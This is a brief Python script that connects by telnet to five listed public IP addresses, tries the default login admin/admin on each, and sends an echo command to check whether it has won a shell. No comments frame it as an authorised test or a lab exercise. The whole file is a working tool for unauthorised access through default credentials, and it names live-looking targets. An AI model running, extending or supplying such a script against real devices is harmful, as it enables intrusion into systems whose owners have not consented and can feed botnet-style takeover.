import socket, time

devices = [
    ("101.255.158.242", 23, "admin", "admin"),
    ("103.134.156.37", 23, "admin", "admin"),
    ("103.138.60.243", 23, "admin", "admin"),
    ("103.149.61.41", 23, "admin", "admin"),
    ("103.139.8.30", 23, "admin", "admin"),
]

for ip, port, user, passwd in devices:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((ip, port))
        time.sleep(1)
        data = s.recv(4096).decode(errors="ignore")
        print(f"=== {ip} ===")
        print(f"INIT: {repr(data[:200])}")

        # Try login
        s.send((user + "\r\n").encode())
        time.sleep(1)
        data = s.recv(4096).decode(errors="ignore")
        print(f"USER_RESP: {repr(data[:200])}")

        s.send((passwd + "\r\n").encode())
        time.sleep(2)
        data = s.recv(4096).decode(errors="ignore")
        print(f"PASS_RESP: {repr(data[:200])}")

        # Check if we have a shell
        s.send(b"echo SHELL_OK\r\n")
        time.sleep(1)
        data = s.recv(4096).decode(errors="ignore")
        print(f"SHELL: {repr(data[:200])}")
        s.close()
    except Exception as e:
        print(f"ERR: {e}")
    print()
